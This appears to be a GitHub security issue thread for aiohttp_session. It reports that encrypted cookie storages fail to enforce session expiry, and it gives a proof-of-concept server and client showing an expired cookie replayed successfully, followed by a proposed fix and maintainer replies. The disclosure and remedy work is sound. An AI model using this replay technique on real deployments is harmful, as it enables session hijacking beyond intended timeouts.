Improper Session Expiration in storages with no inherent expiration

[panagiks]

Storages that lack inherent data expiration

• EncryptedCookieStorage
• SimpleCookieStorage (out of scope, it's inherently insecure)
• NaClCookieStorage

appear to do improper Session Expiration.

A user that has obtained a legitimate session, can do a replay attack recreating his / her cookie
(with the same value as the original) thus defeating the purpose of cookie expiry.

This impacts security in the sense that it increases the attack window for session attacks practically
providing infinite lifespan tokens.

This falls under OWASP's OTG-SESS-007 (Test Session Timeout) test and more specifically under the
'ensuring that it is not possible to “reuse” the same session' clause.

PoC

Using a slight variation of demo/main.py:

import time
import base64
from cryptography import fernet
from aiohttp import web
from aiohttp_session import setup, get_session, new_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage


async def handler(request):
    session = await get_session(request)
    now = time.time()
    created = session['created'] if not session.new else None
    text = 'Created: {}'.format(created)
    text += '\nSuccessfully used: {}'.format(now)
    if created is not None and (time.time() - created) > 10:
        text += '\nWARNING! Session used more than max_age after creation!'
    return web.Response(text=text)


async def login(request):
    session = await new_session(request)
    session['created'] = time.time()
    return web.HTTPOk()


def make_app():
    app = web.Application()
    fernet_key = fernet.Fernet.generate_key()
    secret_key = base64.urlsafe_b64decode(fernet_key)
    setup(app, EncryptedCookieStorage(secret_key, max_age=10))
    app.router.add_get('/', handler)
    app.router.add_post('/', login)
    return app


web.run_app(make_app())

And a client that logs in, saves the value of the cookie and re-creates it after expiry:

import time

import aiohttp
import asyncio

async def expiry_vuln():
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(cookie_jar=jar) as session:
        resp = await session.post('http://127.0.0.1:8080/')
        val = resp.cookies['AIOHTTP_SESSION'].value
        print("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
        await asyncio.sleep(15)
        # Make sure the cookie expired
        print("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(cookies={'AIOHTTP_SESSION': val}, cookie_jar=jar) as session:
        print("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
        resp = await session.get('http://127.0.0.1:8080/')
        body = await resp.text()
        print(body)

asyncio.get_event_loop().run_until_complete(expiry_vuln())

Running both will result in the following output on the client:

1 cookies in Cookie Jar
0 cookies in Cookie Jar
1 cookies in Cookie Jar
Created: xyz
Successfully used: wxy
WARNING! Session used more than max_age after creation!

The above shows that the expired session was successfully used simply by re-creating the cookie.

Remedy

For fernet, documentation indicates that there is a ttl option to decrypt that should suffice. I am preparing a PR for this.

Unfortunately I couldn't find anything related for NaCl. My only though on this is to add the created
time in the message itself for NaCl and check it on load_session (maybe issue a warning if an expired
token was presented). I would like some feedback / thoughts on this.

[asvetlov]

Thanks for the patch.
For NaCL the solution could be in using Session.created attribute when reading from a persistent storage (cookie, redis, whatever).

[panagiks]

You're welcome :)
I will look into a patch for NaCl based on your suggestion (I hope to have it ready in the weekend).

[asvetlov]

Cool!